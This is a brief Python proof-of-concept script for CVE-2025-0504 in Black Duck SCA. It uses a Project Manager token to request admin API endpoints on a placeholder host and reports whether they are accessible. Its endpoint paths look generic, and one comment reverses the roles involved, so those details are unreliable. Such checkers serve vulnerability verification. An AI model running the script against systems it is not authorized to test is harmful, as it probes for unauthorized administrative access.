CVE-2025-0504 Black Duck SCA 权限配置不当漏洞

# CVE-2025-0504 PoC - Black Duck SCA Privilege Escalation # This PoC demonstrates the unauthorized access to Project Administrator functions # by a Project Manager user with Global User Read permission enabled import requests import json # Configuration TARGET_HOST = "https://blackduck-instance.com" API_TOKEN = "<project_manager_token>" HEADERS = { "Authorization": f"Bearer {API_TOKEN}", "Content-Type": "application/json" } def check_privilege_escalation(): """ Check if current user can access Project Administrator functions that should be restricted to Project Manager role """ # Attempt to access Project Administrator settings (should be restricted) admin_endpoints = [ "/api/admin/projects/settings", "/api/admin/users/permissions", "/api/admin/system/configuration" ] results = [] for endpoint in admin_endpoints: try: response = requests.get( f"{TARGET_HOST}{endpoint}", headers=HEADERS, timeout=10 ) results.append({ "endpoint": endpoint, "status_code": response.status_code, "accessible": response.status_code == 200 }) except requests.RequestException as e: results.append({ "endpoint": endpoint, "error": str(e) }) return results def main(): print("[*] Checking for CVE-2025-0504 privilege escalation...") results = check_privilege_escalation() print("[*] Access test results:") for result in results: print(json.dumps(result, indent=2)) # Check if any admin endpoint is accessible vulnerable = any(r.get("accessible") for r in results) if vulnerable: print("[!] VULNERABLE: Project Manager can access admin functions") else: print("[*] NOT VULNERABLE: Access properly restricted") if __name__ == "__main__": main()